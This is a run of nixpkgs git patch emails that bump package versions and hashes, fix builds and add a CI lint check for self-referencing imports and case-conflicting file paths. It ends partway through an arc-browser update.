From: =?UTF-8?q?Niklas=20Hamb=C3=BCchen?= <mail@nh2.me>
Date: Sun, 25 May 2025 12:06:14 +0000
Subject: [PATCH 0815/4511] haskellPackages.lz4-frame-conduit: Fix test by
 adding lz4 binary

(cherry picked from commit dcf6af335a6c0f3cafb04178925c6c3f75f0262a)
---
 .../haskell-modules/configuration-hackage2nix/broken.yaml       | 1 -
 pkgs/development/haskell-modules/configuration-nix.nix          | 2 ++
 pkgs/development/haskell-modules/hackage-packages.nix           | 2 --
 3 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml b/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml
index 6d3723db2750..e9091cda9bcf 100644
--- a/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml
+++ b/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml
@@ -3738,7 +3738,6 @@ broken-packages:
   - lxd-client-config # failure in job https://hydra.nixos.org/build/233225008 at 2023-09-02
   - lxd-client # failure in job https://hydra.nixos.org/build/233231826 at 2023-09-02
   - lye # failure in job https://hydra.nixos.org/build/233229866 at 2023-09-02
-  - lz4-frame-conduit # failure in job https://hydra.nixos.org/build/233225578 at 2023-09-02
   - lzip # failure in job https://hydra.nixos.org/build/233215027 at 2023-09-02
   - lzma-streams # failure in job https://hydra.nixos.org/build/233229106 at 2023-09-02
   - lzo # failure in job https://hydra.nixos.org/build/233200657 at 2023-09-02
diff --git a/pkgs/development/haskell-modules/configuration-nix.nix b/pkgs/development/haskell-modules/configuration-nix.nix
index 1937f9e616a1..59d67c1f7f34 100644
--- a/pkgs/development/haskell-modules/configuration-nix.nix
+++ b/pkgs/development/haskell-modules/configuration-nix.nix
@@ -404,6 +404,8 @@ builtins.intersectAttrs super {
   # The curl executable is required for withApplication tests.
   warp = addTestToolDepend pkgs.curl super.warp;
 
+  lz4-frame-conduit = addTestToolDepends [ pkgs.lz4 ] super.lz4-frame-conduit;
+
   safe-exceptions = overrideCabal (drv: {
     # Fix strictDeps build error "could not execute: hspec-discover"
     testToolDepends = drv.testToolDepends or [ ] ++ [ self.hspec-discover ];
diff --git a/pkgs/development/haskell-modules/hackage-packages.nix b/pkgs/development/haskell-modules/hackage-packages.nix
index b662f4bd8405..8b5e872cd8fb 100644
--- a/pkgs/development/haskell-modules/hackage-packages.nix
+++ b/pkgs/development/haskell-modules/hackage-packages.nix
@@ -430984,9 +430984,7 @@ self: {
       ];
       description = "Conduit implementing the official LZ4 frame streaming format";
       license = lib.licenses.mit;
-      hydraPlatforms = lib.platforms.none;
       mainProgram = "haskell-lz4c";
-      broken = true;
     }
   ) { };
 

From db0afbb4699a60f42fa9f328404ccdad79f0b80b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 10 Jun 2025 13:17:00 +0200
Subject: [PATCH 0816/4511] ci/nixpkgs-vet: add badFiles and conflictingPaths
 checks

Those checks are part of top-level/nixpkgs-basic-release-checks.nix, but
can be run in CI already to prevent regressions. The idea is to upstream
them into nixpkgs-vet eventually, but we can just as well run them as-is
in the same derivation already.

(cherry picked from commit 247d5623795d85938b41be1571c83c2e5d189fcd)
---
 ci/nixpkgs-vet.nix | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/ci/nixpkgs-vet.nix b/ci/nixpkgs-vet.nix
index ccc5ba289dcf..58b5024589bd 100644
--- a/ci/nixpkgs-vet.nix
+++ b/ci/nixpkgs-vet.nix
@@ -29,5 +29,25 @@ runCommand "nixpkgs-vet"
 
     nixpkgs-vet --base ${filtered base} ${filtered head}
 
+    # TODO: Upstream into nixpkgs-vet, see:
+    # https://github.com/NixOS/nixpkgs-vet/issues/164
+    badFiles=$(find ${filtered head}/pkgs -type f -name '*.nix' -print | xargs grep -l '^[^#]*<nixpkgs/' || true)
+    if [[ -n $badFiles ]]; then
+      echo "Nixpkgs is not allowed to use <nixpkgs> to refer to itself."
+      echo "The offending files:"
+      echo "$badFiles"
+      exit 1
+    fi
+
+    # TODO: Upstream into nixpkgs-vet, see:
+    # https://github.com/NixOS/nixpkgs-vet/issues/166
+    conflictingPaths=$(find ${filtered head} | awk '{ print $1 " " tolower($1) }' | sort -k2 | uniq -D -f 1 | cut -d ' ' -f 1)
+    if [[ -n $conflictingPaths ]]; then
+      echo "Files in nixpkgs must not vary only by case."
+      echo "The offending paths:"
+      echo "$conflictingPaths"
+      exit 1
+    fi
+
     touch $out
   ''

From 43e4383c2efc8012085ae788bd50e4af45a5ca81 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Mon, 9 Jun 2025 15:04:49 -0400
Subject: [PATCH 0817/4511] recoverdm: 0.20-8 -> 0.20-9

Changelog: https://salsa.debian.org/pkg-security-team/recoverdm/-/blob/debian/0.20-9/debian/changelog
Diff: https://salsa.debian.org/pkg-security-team/recoverdm/-/compare/debian%2F0.20-8...debian%2F0.20-9
(cherry picked from commit 9b97e4ca32af5dc36d2b7e7151421eaf9f31f9f4)
---
 pkgs/by-name/re/recoverdm/package.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/re/recoverdm/package.nix b/pkgs/by-name/re/recoverdm/package.nix
index 9a244bd15ac1..497be05b4c6b 100644
--- a/pkgs/by-name/re/recoverdm/package.nix
+++ b/pkgs/by-name/re/recoverdm/package.nix
@@ -7,14 +7,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "recoverdm";
-  version = "0.20-8";
+  version = "0.20-9";
 
   src = fetchFromGitLab {
     domain = "salsa.debian.org";
     owner = "pkg-security-team";
     repo = "recoverdm";
     rev = "debian/${finalAttrs.version}";
-    hash = "sha256-1iW3Ug85ZLGpvG29N5zJt8oooSQGnLsr+8XIcp4aSSM=";
+    hash = "sha256-HLaiTeeqXn0mgRnG5FZflkPiDiB8CGzq4FR7lDj5oHI=";
   };
 
   patches =
@@ -26,6 +26,7 @@ stdenv.mkDerivation (finalAttrs: {
       (patch "20_fix-typo-binary.patch")
       (patch "30-fix-BTS-mergebad-crash.patch")
       (patch "40_dev-c.patch")
+      (patch "50_ftbfs-with-gcc-14.patch")
       ./0001-darwin-build-fixes.patch
     ];
 

From 95790d93bf6f1173e78ace32989b8d9a92ca2026 Mon Sep 17 00:00:00 2001
From: matthewcroughan <matt@croughan.sh>
Date: Tue, 10 Jun 2025 14:38:18 +0100
Subject: [PATCH 0818/4511] linux/common-config: don't set IP_DCCP_CCID3 from
 6.16 onwards

(cherry picked from commit 8ab5a599a0a594de922b84fc53903ed87563d1bf)
---
 pkgs/os-specific/linux/kernel/common-config.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/kernel/common-config.nix b/pkgs/os-specific/linux/kernel/common-config.nix
index 407bd347ffac..2e233e073177 100644
--- a/pkgs/os-specific/linux/kernel/common-config.nix
+++ b/pkgs/os-specific/linux/kernel/common-config.nix
@@ -288,7 +288,7 @@ let
         IP_VS_PROTO_ESP = yes;
         IP_VS_PROTO_AH = yes;
         IP_VS_IPV6 = yes;
-        IP_DCCP_CCID3 = no; # experimental
+        IP_DCCP_CCID3 = whenOlder "6.16" no; # experimental
         CLS_U32_PERF = yes;
         CLS_U32_MARK = yes;
         BPF_JIT = whenPlatformHasEBPFJit yes;

From b6953470624b916ab9cf5f3fc4eda3fb4dc38cb9 Mon Sep 17 00:00:00 2001
From: h0nIg <h0nIg@users.noreply.github.com>
Date: Mon, 2 Jun 2025 16:22:31 +0200
Subject: [PATCH 0819/4511] pdm: fix AGPL issues

(cherry picked from commit 53a2aac77b647585f9151cd4e7224995a746a2a9)
---
 pkgs/by-name/pd/pdm/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/pd/pdm/package.nix b/pkgs/by-name/pd/pdm/package.nix
index 0eeb269bb258..3bdbfb40ced3 100644
--- a/pkgs/by-name/pd/pdm/package.nix
+++ b/pkgs/by-name/pd/pdm/package.nix
@@ -19,6 +19,10 @@ let
           hash = "sha256-UBdgFN+fvbjz+rp8+rog8FW2jwO/jCfUPV7UehJKiV8=";
         };
       });
+      # pdm requires ...... -> jbig2dec which is AGPL only
+      moto = super.moto.overridePythonAttrs (old: rec {
+        doCheck = false;
+      });
     };
   };
 in

From 2dbebcf2c32d6f05b61cba634786bf9fee7f3747 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 10 Jun 2025 16:43:54 +0200
Subject: [PATCH 0820/4511] grafana-loki,promtail: 3.4.3 -> 3.4.4

https://github.com/grafana/loki/releases/tag/v3.4.4

diff: https://github.com/grafana/loki/compare/v3.4.3...v3.4.4
---
 pkgs/by-name/gr/grafana-loki/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gr/grafana-loki/package.nix b/pkgs/by-name/gr/grafana-loki/package.nix
index 69f76cdf2946..7e8bab88695d 100644
--- a/pkgs/by-name/gr/grafana-loki/package.nix
+++ b/pkgs/by-name/gr/grafana-loki/package.nix
@@ -12,14 +12,14 @@
 }:
 
 buildGoModule rec {
-  version = "3.4.3";
+  version = "3.4.4";
   pname = "grafana-loki";
 
   src = fetchFromGitHub {
     owner = "grafana";
     repo = "loki";
     rev = "v${version}";
-    hash = "sha256-1tI9X2eIKuWEWJBbN4UAw8yeRrjgfqcenJyTNMk5rqU=";
+    hash = "sha256-noKgsOTW3qTQBBatImrH1JDk5UkM0zKpVQ5rlWHqnpk=";
   };
 
   vendorHash = null;

From 504df44a125e08ee69cfab05c753e1244cb11261 Mon Sep 17 00:00:00 2001
From: Bobby Rong <rjl931189261@126.com>
Date: Mon, 2 Jun 2025 23:49:06 +0800
Subject: [PATCH 0821/4511] monitor: Fix build with Vala 0.56.18

error: Compact class `Monitor.HwmonTemperature' cannot inherit from non-compact class `GLib.Object'
(cherry picked from commit 9bb3569e1813eab98c5d36e2ac7842f0e5804689)
---
 pkgs/applications/system/monitor/default.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/applications/system/monitor/default.nix b/pkgs/applications/system/monitor/default.nix
index d949ab2eb1f8..5115a6e12d72 100644
--- a/pkgs/applications/system/monitor/default.nix
+++ b/pkgs/applications/system/monitor/default.nix
@@ -84,6 +84,12 @@ stdenv.mkDerivation rec {
     substituteInPlace meson.build --replace \
       "meson.get_compiler('c').find_library('libcurl', dirs: vapidir)" \
       "meson.get_compiler('c').find_library('libcurl', dirs: '${curl.out}/lib')"
+
+    # Fix build with Vala 0.56.18
+    # https://github.com/elementary/monitor/issues/444
+    for i in $(find src/Resources -type f -name "*.vala"); do
+      substituteInPlace $i --replace-warn "[Compact]" ""
+    done
   '';
 
   passthru = {

From 90e864d76503cfca0565197299e51c13311d1f43 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 6 Jun 2025 11:00:47 +0000
Subject: [PATCH 0822/4511] radarr: 5.24.1.10017 -> 5.25.0.10024

(cherry picked from commit 192e86b204017d58aa8d35484d1ccaf4613af147)
---
 pkgs/servers/radarr/default.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/servers/radarr/default.nix b/pkgs/servers/radarr/default.nix
index 82dd1814f06b..56e695c92def 100644
--- a/pkgs/servers/radarr/default.nix
+++ b/pkgs/servers/radarr/default.nix
@@ -27,17 +27,17 @@ let
 
   hash =
     {
-      x64-linux_hash = "sha256-cXAOXQE6eBFgJMw/Tai1/bxWon1fuh7guYUdQ+pmIMA=";
-      arm64-linux_hash = "sha256-ogWUNXtgmoUOxhQNE15+stddyurCPCeCb+OdHEdCZE4=";
-      x64-osx_hash = "sha256-+0UevL2jgkv0lLcRP7qJO3HrYfgNCWEPcwlGlSRPWA8=";
-      arm64-osx_hash = "sha256-nhUno+3a76n+gRy7hulfA0qYQ5Bh7dXOX5CcZd+kWPY=";
+      x64-linux_hash = "sha256-rHm2qDBDBPioAyN3SYw1CbCTDBA5PhF72Yd/LcpXGbI=";
+      arm64-linux_hash = "sha256-ukwLekQ5kI7eXdydHXDev1WkISHR2vUQGtNd0njWyy0=";
+      x64-osx_hash = "sha256-0ZzGcfMl3Q3vLSdN0j8B8NL1dQLvJn/lqKyprguexQI=";
+      arm64-osx_hash = "sha256-aM9bmPW6Vv2D6lIKfT5+uuUXfq/xqxNuHAysEYUFzt4=";
     }
     ."${arch}-${os}_hash";
 
 in
 stdenv.mkDerivation rec {
   pname = "radarr";
-  version = "5.24.1.10017";
+  version = "5.25.0.10024";
 
   src = fetchurl {
     url = "https://github.com/Radarr/Radarr/releases/download/v${version}/Radarr.master.${version}.${os}-core-${arch}.tar.gz";

From 1e081f20d41763d975bd7c313ec20c609f242b30 Mon Sep 17 00:00:00 2001
From: Vishal Das <26341736+dvishal485@users.noreply.github.com>
Date: Tue, 10 Jun 2025 18:55:48 +0530
Subject: [PATCH 0823/4511] libfprint-focaltech-2808-a658: set as broken

(cherry picked from commit 9d90352375264ae04da1517de582b2f45ad54e41)
---
 pkgs/by-name/li/libfprint-focaltech-2808-a658/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/li/libfprint-focaltech-2808-a658/package.nix b/pkgs/by-name/li/libfprint-focaltech-2808-a658/package.nix
index 41b7b3129ce3..f112bc9e5b90 100644
--- a/pkgs/by-name/li/libfprint-focaltech-2808-a658/package.nix
+++ b/pkgs/by-name/li/libfprint-focaltech-2808-a658/package.nix
@@ -100,5 +100,6 @@ stdenv.mkDerivation rec {
     maintainers = [ lib.maintainers.imsick ];
     platforms = [ "x86_64-linux" ];
     sourceProvenance = [ lib.sourceTypes.binaryNativeCode ];
+    broken = true; # needs older version of fprintd (v1.94.4)
   };
 }

From 41a19747d70485e4c071f69fa6d1a0d7fea006ce Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 20:50:57 +0000
Subject: [PATCH 0824/4511] flyctl: 0.3.132 -> 0.3.140

(cherry picked from commit 8f831c7ef45df7b3fe7f60d62bc596ea4c21ce72)
---
 pkgs/by-name/fl/flyctl/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index 3315d731f91a..7b47ed95911a 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.132";
+  version = "0.3.140";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
     rev = "v${version}";
-    hash = "sha256-xuPcJchATGlGZR4dwWKp5GXlo7O1Xv2u+gDzgn1668I=";
+    hash = "sha256-YlpK0gRHk9LbzDwSSJAc05ZYHRWPZ67Qi6SxImNzUTE=";
   };
 
-  vendorHash = "sha256-9E6Kd9TV8TplL4KU47hhOIPuO/hm0T3aaMK/rEMBUU4=";
+  vendorHash = "sha256-mOPOVVG7c3PI/ltlwHBzNGqSyj6nMIvemYObrWezrqQ=";
 
   subPackages = [ "." ];
 

From 3f9dab47bf367b0f9c44dfb29ac393b1eb91e30b Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Mon, 9 Jun 2025 13:55:23 +0200
Subject: [PATCH 0825/4511] pnpm_10: 10.11.1 -> 10.12.1

Release: https://github.com/pnpm/pnpm/releases/tag/v10.12.1
Diff: https://github.com/pnpm/pnpm/compare/v10.11.1...v10.12.1

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit e51aa5d8b84f5c28fc0e9bf10fc7121c890d209d)
---
 pkgs/development/tools/pnpm/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/pnpm/default.nix b/pkgs/development/tools/pnpm/default.nix
index 9634a8d857ef..4eb4627e75a2 100644
--- a/pkgs/development/tools/pnpm/default.nix
+++ b/pkgs/development/tools/pnpm/default.nix
@@ -16,8 +16,8 @@ let
       hash = "sha256-z4anrXZEBjldQoam0J1zBxFyCsxtk+nc6ax6xNxKKKc=";
     };
     "10" = {
-      version = "10.11.1";
-      hash = "sha256-IR6ZkBSElcn8MLflg5b37tqD2SQ+t1QH6k+GUPsWH3w=";
+      version = "10.12.1";
+      hash = "sha256-iJusRw7JPMw3ZEiKGda6j5xkitXlCppuS+N2il3jh6M=";
     };
   };
 

From d6caa240cc11f34686fcb0b38736b0cd90215150 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Niklas=20Hamb=C3=BCchen?= <mail@nh2.me>
Date: Sun, 25 May 2025 12:32:14 +0000
Subject: [PATCH 0826/4511] libe57format: Disable LTO to fix linker error in
 downstream builds that use `.a` file.

See https://github.com/asmaloney/libE57Format/pull/313#issuecomment-2907797367

(cherry picked from commit 51b9d7ebc86018d1372fdd87eb3e278f14a90154)
---
 pkgs/by-name/li/libe57format/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/li/libe57format/package.nix b/pkgs/by-name/li/libe57format/package.nix
index bf391abd82d8..e442fa7a9056 100644
--- a/pkgs/by-name/li/libe57format/package.nix
+++ b/pkgs/by-name/li/libe57format/package.nix
@@ -51,6 +51,10 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   cmakeFlags = [
+    # Without this, LTO will be enabled, which seems to cause
+    # errors when consumers try to link the `.a` file, see:
+    #     https://github.com/asmaloney/libE57Format/pull/313#issuecomment-2907797367
+    "-DE57_RELEASE_LTO=OFF"
     # See https://github.com/asmaloney/libE57Format/blob/9372bdea8db2cc0c032a08f6d655a53833d484b8/test/README.md
     (
       if finalAttrs.finalPackage.doCheck then

From 597421ce87f0223226960e316b7e0bcfc7caabd6 Mon Sep 17 00:00:00 2001
From: Andreas Hindborg <a.hindborg@kernel.org>
Date: Mon, 2 Jun 2025 16:57:26 +0200
Subject: [PATCH 0827/4511] linuxPackages.cpupower: prepare for linux v6.16

cpupower in v6.16 is going to need an additional install flag, so add it.

(cherry picked from commit 1ebeaf890dfc9e09ab8181ab611007c7aaf11c8f)
---
 pkgs/os-specific/linux/cpupower/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/os-specific/linux/cpupower/default.nix b/pkgs/os-specific/linux/cpupower/default.nix
index c2e881b33c31..c80352a1e7e3 100644
--- a/pkgs/os-specific/linux/cpupower/default.nix
+++ b/pkgs/os-specific/linux/cpupower/default.nix
@@ -37,6 +37,7 @@ stdenv.mkDerivation {
     man = "share/man";
     include = "include";
     lib = "lib";
+    libexec = "libexec";
     locale = "share/locale";
     doc = "share/doc/cpupower";
     conf = "etc";

From d2108acd3f7ff5e8607929a25e95d710fbfdb4e4 Mon Sep 17 00:00:00 2001
From: Izorkin <izorkin@elven.pw>
Date: Sat, 7 Jun 2025 20:33:00 +0300
Subject: [PATCH 0828/4511] gst_all_1.gst-plugins-base: fix build with disabled
 X11

(cherry picked from commit ee7dbeb3b1bb336eaf4fd7398dcd84a4d1be8091)
---
 pkgs/development/libraries/gstreamer/base/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/development/libraries/gstreamer/base/default.nix b/pkgs/development/libraries/gstreamer/base/default.nix
index 59e0054a4091..e497f0c4ffc4 100644
--- a/pkgs/development/libraries/gstreamer/base/default.nix
+++ b/pkgs/development/libraries/gstreamer/base/default.nix
@@ -153,6 +153,7 @@ stdenv.mkDerivation (finalAttrs: {
     ++ lib.optionals (!enableX11) [
       "-Dx11=disabled"
       "-Dxi=disabled"
+      "-Dxshm=disabled"
       "-Dxvideo=disabled"
     ]
     # TODO How to disable Wayland?

From 888f0e6242153e39036e5487e73d47012353bf2c Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 9 Jun 2025 23:27:29 +0200
Subject: [PATCH 0829/4511] python3Packages.mir-eval: fix build, enable tests,
 refactor & clean

(cherry picked from commit 58cb4eefc3fb60b235bd3ba1d7c7dc2c73ee53d0)
---
 .../python-modules/mir-eval/default.nix       | 44 ++++++++++++++-----
 1 file changed, 32 insertions(+), 12 deletions(-)

diff --git a/pkgs/development/python-modules/mir-eval/default.nix b/pkgs/development/python-modules/mir-eval/default.nix
index 603fba5879bf..1102adfb43d2 100644
--- a/pkgs/development/python-modules/mir-eval/default.nix
+++ b/pkgs/development/python-modules/mir-eval/default.nix
@@ -1,33 +1,53 @@
 {
   lib,
   buildPythonPackage,
-  fetchPypi,
-  future,
-  six,
+  fetchFromGitHub,
+  setuptools,
+  decorator,
   numpy,
   scipy,
   matplotlib,
+  pytestCheckHook,
+  pytest-cov-stub,
+  pytest-mpl,
 }:
 
 buildPythonPackage rec {
   pname = "mir-eval";
   version = "0.8.2";
-  format = "setuptools";
+  pyproject = true;
 
-  src = fetchPypi {
-    pname = "mir_eval";
-    inherit version;
-    hash = "sha256-FBo+EZMnaIn8MukRVH5z3LPoKe6M/qYPe7zWM8B5JWk=";
+  src = fetchFromGitHub {
+    owner = "mir-evaluation";
+    repo = "mir_eval";
+    tag = version;
+    hash = "sha256-Dq/kqoTY8YGATsr6MSgfQxkWvFpmH/Pf1pKBLPApylY=";
   };
 
-  propagatedBuildInputs = [
-    future
-    six
+  build-system = [ setuptools ];
+
+  dependencies = [
+    decorator
     numpy
     scipy
-    matplotlib
   ];
 
+  optional-dependencies.display = [ matplotlib ];
+
+  nativeCheckInputs = [
+    pytestCheckHook
+    pytest-cov-stub
+    pytest-mpl
+  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+
+  preCheck = ''
+    pushd tests
+  '';
+
+  postCheck = ''
+    popd
+  '';
+
   pythonImportsCheck = [ "mir_eval" ];
 
   meta = with lib; {

From a30a9b8407e573c516d7b1207318f149b4e32cce Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Sun, 8 Jun 2025 20:58:03 +0800
Subject: [PATCH 0830/4511] wlvncc: unstable-2024-11-23 ->
 0-unstable-2025-04-21

(cherry picked from commit bfd7ceb705fc830824db19e4dd82608a3330c5d1)
---
 pkgs/by-name/wl/wlvncc/package.nix | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/wl/wlvncc/package.nix b/pkgs/by-name/wl/wlvncc/package.nix
index 1717989b7deb..197ffc7a98f9 100644
--- a/pkgs/by-name/wl/wlvncc/package.nix
+++ b/pkgs/by-name/wl/wlvncc/package.nix
@@ -22,16 +22,18 @@
   wayland,
   wayland-scanner,
   zlib,
+  nix-update-script,
 }:
+
 stdenv.mkDerivation {
   pname = "wlvncc";
-  version = "unstable-2024-11-23";
+  version = "0-unstable-2025-04-21";
 
   src = fetchFromGitHub {
     owner = "any1";
     repo = "wlvncc";
-    rev = "0489e29fba374a08be8ba4a64d492a3c74018f41";
-    hash = "sha256-jFP4O6zo1fYULOVX9+nuTNAy4NuBKsDKOy+WUQRUjdI=";
+    rev = "a6a5463a9c69ce4db04d8d699dd58e1ba8560a0a";
+    hash = "sha256-8p2IOQvcjOV5xe0c/RWP6aRHtQnu9tYI7QgcC13sg4k=";
   };
 
   nativeBuildInputs = [
@@ -60,12 +62,14 @@ stdenv.mkDerivation {
     zlib
   ];
 
-  meta = with lib; {
+  passthru.updateScript = nix-update-script { extraArgs = [ "--version=branch" ]; };
+
+  meta = {
     description = "Wayland Native VNC Client";
     homepage = "https://github.com/any1/wlvncc";
-    license = licenses.gpl2Only;
-    maintainers = with maintainers; [ teutat3s ];
-    platforms = platforms.linux;
+    license = lib.licenses.gpl2Only;
+    maintainers = with lib.maintainers; [ teutat3s ];
+    platforms = lib.platforms.linux;
     mainProgram = "wlvncc";
   };
 }

From abb3ebe315dfff80a9a20b6478ebb2b8de7f2a34 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 10 Jun 2025 17:25:32 +0200
Subject: [PATCH 0831/4511] cinny-unwrapped: 4.8.0 -> 4.8.1

Release notes: https://github.com/cinnyapp/cinny/releases/tag/v4.8.1
Full changelog: https://github.com/cinnyapp/cinny/compare/v4.8.0...v4.8.1

(cherry picked from commit 9b66d1bf85e0f5a85ad282de691a269a86598a89)
---
 pkgs/by-name/ci/cinny-unwrapped/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ci/cinny-unwrapped/package.nix b/pkgs/by-name/ci/cinny-unwrapped/package.nix
index 5fc3c304f7f4..53ce6b4bc7ad 100644
--- a/pkgs/by-name/ci/cinny-unwrapped/package.nix
+++ b/pkgs/by-name/ci/cinny-unwrapped/package.nix
@@ -13,16 +13,16 @@
 
 buildNpmPackage rec {
   pname = "cinny-unwrapped";
-  version = "4.8.0";
+  version = "4.8.1";
 
   src = fetchFromGitHub {
     owner = "cinnyapp";
     repo = "cinny";
     tag = "v${version}";
-    hash = "sha256-yM+P7KXT/cspKt2l4+COoH68jCJUSs2TrfJGZHF/lYY=";
+    hash = "sha256-1F49KHAfCtvcqMeRYI8r6Ke7oz+EQqOfkgdgn5E1DU4=";
   };
 
-  npmDepsHash = "sha256-RWc8nSh/HuXUokU2RZnmwYUCfBxpL9Wp1Sgi2l1CN38=";
+  npmDepsHash = "sha256-Tx+08NrbFolI7agC6AtNvkOgCJWJa4fsY0CFC02h4r0=";
 
   nativeBuildInputs = [
     python3

From 4000f0a862d459032381a2df7734fb9f00631a4e Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 10 Jun 2025 17:33:33 +0200
Subject: [PATCH 0832/4511] cinny-desktop: 4.8.0 -> 4.8.1

Release notes: https://github.com/cinnyapp/cinny-desktop/releases/tag/v4.8.1
Full changelog: https://github.com/cinnyapp/cinny-desktop/compare/v4.8.0...v4.8.1

(cherry picked from commit 2b82b22b90c22c52678a78dc9481c78e9682caac)
---
 pkgs/by-name/ci/cinny-desktop/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ci/cinny-desktop/package.nix b/pkgs/by-name/ci/cinny-desktop/package.nix
index 861bd2dd43ef..c78f7d1958a6 100644
--- a/pkgs/by-name/ci/cinny-desktop/package.nix
+++ b/pkgs/by-name/ci/cinny-desktop/package.nix
@@ -18,19 +18,19 @@
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "cinny-desktop";
   # We have to be using the same version as cinny-web or this isn't going to work.
-  version = "4.8.0";
+  version = "4.8.1";
 
   src = fetchFromGitHub {
     owner = "cinnyapp";
     repo = "cinny-desktop";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-cixpsn0jMufd6VrBCsCH9t3bpkKdgi1i0qnkBlLgLG0=";
+    hash = "sha256-Q9iCEJu/HgWnMqiT0EjtJUk7dp7o0hbLoamlkFEaR4M=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/src-tauri";
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-twfRuoA4z+Xgyyn7aIRy6MV1ozN2+qhSLh8i+qOTa2Q=";
+  cargoHash = "sha256-lWU1NrUwcAXQR6mEiCr6Ze3TzpDYvCx5/fBIef9ao5I=";
 
   postPatch =
     let

From e7662243e13db05ea648e00b4687ece3d2caa936 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 20:25:58 +0000
Subject: [PATCH 0833/4511] sslh: 2.2.3 -> 2.2.4

(cherry picked from commit 1af0a950e5fec769215e0c0f249fc53607a4bfb8)
---
 pkgs/by-name/ss/sslh/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ss/sslh/package.nix b/pkgs/by-name/ss/sslh/package.nix
index 0c70cbb07023..9ec5ecf2b212 100644
--- a/pkgs/by-name/ss/sslh/package.nix
+++ b/pkgs/by-name/ss/sslh/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "sslh";
-  version = "2.2.3";
+  version = "2.2.4";
 
   src = fetchFromGitHub {
     owner = "yrutschle";
     repo = "sslh";
     rev = "v${version}";
-    hash = "sha256-SWkhTgJM6s89mgvJbqa+N75+0TYCvlEH1NQgaKjocFo=";
+    hash = "sha256-jG2+CT+Zcfkp+RLKcVfCTozgNuldfxKw7YaJLGKIZzE=";
   };
 
   postPatch = "patchShebangs *.sh";

From bd18a431cb4013c146680abe8e878ffd4f9a03ca Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Sat, 24 May 2025 17:05:35 +0300
Subject: [PATCH 0834/4511] arc-browser: 1.91.2-62278 -> 1.97.0-63507

(cherry picked from commit c65ce3613cdd21a3cf421c22060124764a4b2001)
---
 pkgs/by-name/ar/arc-browser/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ar/arc-browser/package.nix b/pkgs/by-name/ar/arc-browser/package.nix
index 957c24aafd49..4b99df96fc20 100644
--- a/pkgs/by-name/ar/arc-browser/package.nix
+++ b/pkgs/by-name/ar/arc-browser/package.nix
@@ -10,11 +10,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "arc-browser";
-  version = "1.91.2-62278";
+  version = "1.97.0-63507";
 
   src = fetchurl {
     url = "https://releases.arc.net/release/Arc-${finalAttrs.version}.dmg";
